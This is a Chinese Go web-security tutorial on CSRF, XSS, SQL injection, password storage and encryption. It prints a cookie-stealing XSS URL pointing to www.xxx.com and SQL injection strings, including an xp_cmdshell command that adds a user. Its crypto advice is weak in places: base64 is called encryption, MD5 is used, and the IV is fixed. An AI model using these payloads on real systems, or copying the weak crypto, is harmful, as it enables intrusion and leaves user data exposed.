[golang] 安全与加密

749 阅读8分钟

预防 CSRF 攻击

跨站请求伪造 CSRF/XSRF(Cross-site request forgery),也被称为 one click attack/session riding。
image.png
要完成一次 CSRF 攻击,受害者必须依次完成两个步骤:

  1. 登录受信任网站 A,并在本地生成 Cookie。
  2. 在不退出 A 的情况下,访问危险网站 B。 如何预防 CSRF?在非 GET 方式的请求中增加随机数,这个大概有三种方式来进行:
  3. 为每个用户生成一个唯一的 cookie token,所有表单都包含同一个伪随机值,这种方案最简单,因为攻击者理论上不能获得第三方的 cookie(没有 XSS 漏洞的情况下),所以表单中的数据也就构造失败。
  4. 每个请求使用验证码,用户友好性很差,所以不适合实际运用。
  5. 不同的表单包含一个不同的伪随机值。
    // 生成随机数 token
    h := md5.New()
    io.WriteString(h, strconv.FormatInt(crutime, 10))
    io.WriteString(h, "ganraomaxxxxxxxxx")
    token := fmt.Sprintf("%x", h.Sum(nil))
    
    t, _ := template.ParseFiles("login.gtpl")
    t.Execute(w, token)
    
    // 输出 token
    <input type="hidden" name="token" value="{{.}}">
    
    // 验证 token
    r.ParseForm()
    token := r.Form.Get("token")
    if token != "" {
        // 验证 token 的合法性
    } else {
        // 不存在 token 报错
    }
    

避免 XSS 攻击

跨站脚本攻击 XSS(Cross-Site Scripting)是一种常见的 web 安全漏洞,XSS 涉及到三方(攻击者、客户端和 web 应用)。XSS 的攻击目标是为了盗取存储在客户端的 cookie 或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互。

XSS 通常可以分为两大类:

  1. 一类是存储型 XSS,恶意伪造用户的 Html 输入 Web 程序 -> 进入数据库 -> Web 程序 -> 用户浏览器。
  2. 一类是反射型 XSS,主要做法是将脚本代码加入 URL 地址的请求参数里,请求参数进入程序后在页面直接输出,用户点击类似的恶意链接就可能受到攻击。 XSS 目前主要的手段和目的如下:
  • 盗用 cookie,获取敏感信息。
  • 植入 Flash,通过 crossdomain 权限设置进一步获取更高权限,或者利用 Java 等得到类似的操作。
  • 利用 iframe、frame、XMLHttpRequest 或上述 Flash 等方式,以(被攻击者)用户的身份执行如发微博、加好友、发私信等常规操作。
  • 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
  • 在访问量极大的一些页面上通过 XSS 可以攻击一些小型网站,实现 DDoS(DOS 是 denial of service 的缩写,最前面的那个 D 是 distributed)攻击的效果。 Web 应用未对用户请求的数据做充分的检查过滤,允许用户在提交的数据中掺入 HTML 代码(最主要的是 ><),并将未经转义的恶意代码输出到第三方用户的浏览器解释执行,是导致 XSS 漏洞产生的原因。

    比如传递这样的 url:http://127.0.0.1/?name=&#60;script&#62;alert(&#39;test,xss&#39;)&#60;/script&#62;,这时就会发现浏览器跳出一个弹出框,这说明站点已经存在 XSS 漏洞。那么恶意用户是如何盗取 Cookie 的呢?与上类似,如下这样的 url:http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;,这样就可以把当前的 cookie 发送到指定的站点 www.xxx.com。 目前防御 XSS 主要有如下几种方式:
  • 过滤特殊字符,Go 语言提供了 HTML 的过滤函数,text/template 包下面的 HTMLEscapeStringJSEscapeString 等方法;
  • 使用 HTTP 头指定类型,w.Header().Set("Content-Type","text/javascript")

确保输入过滤

  1. 识别数据,搞清楚需要过滤的数据来自于哪里。
  2. 过滤数据,弄明白需要什么样的数据。

避免 SQL 注入

SQL 注入攻击(SQL Injection),简称注入攻击,是 Web 开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。

SQL 注入实例

username := r.Form.Get("username")
password := r.Form.Get("password")
sql := "SELECT * FROM user WHERE username='" + username + "' AND password='" + password + "'"

如果用户输入的用户名如下,密码任意。

myuser' or 'foo' = 'foo' --

那么 SQL 变成了如下所示:

SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'

对于 MSSQL 还有更加危险的一种 SQL 注入,就是控制系统,下面这个例子将演示如何在某些版本的 MSSQL 数据库上执行系统命令。

sql := "SELECT * FROM products WHERE name LIKE '%" + prod + "%'"
Db.Exec(sql)

如果攻击提交 a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- 作为变量 prod 的值,那么 sql 将会变成:

sql := "SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"

如何防治 SQL 注入?

  • 严格限制 Web 应用的数据库操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害;
  • 对于进入数据库的特殊字符(', ", \, <, >, &, *, ; 等)进行转义处理,或编码转换。Go 的 text/template 包里面的 HTMLEscapeString 方法可以对字符串进行转义处理;
  • 所有的查询语句建议使用数据库提供的参数化查询接口,即不要直接拼接 SQL 语句。例如使用 database/sql 里面的查询方法 PrepareQuery,或者 Exec(query string, args ...interface{})
  • 在应用发布之前建议使用专业的 SQL 注入检测工具进行检测,例如 sqlmap、SQLninja 等;
  • 避免网站打印出 SQL 错误信息,比如类型错误、字段不匹配等,把代码里的 SQL 语句暴露出来,以防止攻击者利用这些错误信息进行 SQL 注入。

存储密码

普通方案

目前用的最多的密码存储方案是将明文密码做单向哈希后存储,单向哈希算法有一个特征:无法通过哈希后的摘要(digest)恢复原始数据,这也是“单向”二字的来源,常用的单向哈希算法包括 SHA-256、SHA-1、MD5 等。

// import "crypto/sha256"
h := sha256.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("%x", h.Sum(nil))

// import "crypto/sha1"
h := sha1.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("%x", h.Sum(nil))

// import "crypto/md5"
h := md5.New()
io.WriteString(h, "需要加密的密码")
fmt.Printf("%x", h.Sum(nil))

单向哈希有两个特性:

  1. 同一个密码进行单向哈希,得到的总是唯一确定的摘要;
  2. 计算速度快,随着技术进步,一秒钟能够完成数十亿次单向哈希计算;

进阶方案

现在都会用一种叫做“加盐(salt)”的方式来存储密码。先将用户输入的密码进行一次 MD5(或其它哈希算法)加密,将得到的 MD5 值前后加上一些只有管理员自己知道的随机串,再进行一次 MD5 加密。这个随机串中可以包括某些固定的串,也可以包括用户名(用来保证每个用户加密使用的密钥都不一样)。

// import "crypto/md5"
// 假设用户名 abc,密码 123456
h := md5.New()
io.WriteString(h, "需要加密的密码")

// pwmd5 等于 e10adc3949ba59abbe56e057f20f883e
pwmd5 := fmt.Sprintf("%x", h.Sum(nil))

// 指定两个 salt
salt1 := "@#$%"
salt2 := "^&*()"

// salt1 + 用户名 + salt2 + MD5 拼接
io.WriteString(h, salt1)
io.WriteString(h, "abc")
io.WriteString(h, salt2)
io.WriteString(h, pwmd5)

last := fmt.Sprintf("%x", h.Sum(nil))

专家方案

这里推荐 scrypt 方案,scrypt 是由著名的 FreeBSD 黑客 Colin Percival 为他的备份服务 Tarsnap 开发的,目前 Go 语言里面支持的库 https://github.com/golang/crypto/tree/master/scrypt

dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)

加密和解密数据

base64 加解密

如果 Web 应用足够简单,数据的安全性没有那么严格的要求,那么可以采用一种比较简单的加解密方法是 base64,这种方式实现起来比较简单。

func main() {
    // encode
    hello := "你好,世界! hello world"
    debyte := base64Encode([]byte(hello))
    fmt.Println(debyte)
    // decode
    enbyte, err := base64Decode(debyte)
    if err != nil {
        fmt.Println(err.Error())
    }

    if hello != string(enbyte) {
        fmt.Println("hello is not equal to enbyte")
    }

    fmt.Println(string(enbyte))
}

func base64Encode(src []byte) []byte {
    return []byte(base64.StdEncoding.EncodeToString(src))
}

func base64Decode(src []byte) ([]byte, error) {
    return base64.StdEncoding.DecodeString(string(src))
}

高级加解密

go 语言的 crypto 里面支持对称加密的高级加解密包有:

  • crypto/aes 包:AES(Advanced Encryption Standard),又称 Rijndael 加密法,是美国联邦政府采用的一种区块加密标准;
  • crypto/des 包:DES(Data Encryption Standard),是一种对称加密标准,是目前使用最广泛的密钥系统,特别是在保护金融数据的安全中。曾是美国联邦政府的加密标准,但现已被 AES 所替代。
var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}

func main() {
    // 需要去加密的字符串
    plaintext := []byte("My name is Astaxie")
    // 如果传入加密串的话,plaint 就是传入的字符串
    if len(os.Args) > 1 {
        plaintext = []byte(os.Args[1])
    }

    // aes 的加密字符串
    key_text := "astaxie12798akljzmknm.ahkjkljl;k"
    if len(os.Args) > 2 {
        key_text = os.Args[2]
    }

    // fmt.Println(len(key_text))

    // 创建加密算法 aes
    c, err := aes.NewCipher([]byte(key_text))
    if err != nil {
        fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
        os.Exit(-1)
    }

    // 加密字符串
    cfb := cipher.NewCFBEncrypter(c, commonIV)
    ciphertext := make([]byte, len(plaintext))
    cfb.XORKeyStream(ciphertext, plaintext)
    fmt.Printf("%s=>%x\n", plaintext, ciphertext)

    // 解密字符串
    cfbdec := cipher.NewCFBDecrypter(c, commonIV)
    plaintextCopy := make([]byte, len(plaintext))
    cfbdec.XORKeyStream(plaintextCopy, ciphertext)
    fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy)
}

上面通过调用方法 aes.NewCipher,参数 key 必须是 16、24 或者 32 位的 []byte,分别对应 AES-128、AES-192 或 AES-256 算法,返回了一个 cipher.Block 接口,这个接口实现了三个功能。

type Block interface {
    // BlockSize returns the cipher's block size.
    BlockSize() int

    // Encrypt encrypts the first block in src into dst.
    // Dst and src may point at the same memory.
    Encrypt(dst, src []byte)

    // Decrypt decrypts the first block in src into dst.
    // Dst and src may point at the same memory.
    Decrypt(dst, src []byte)
}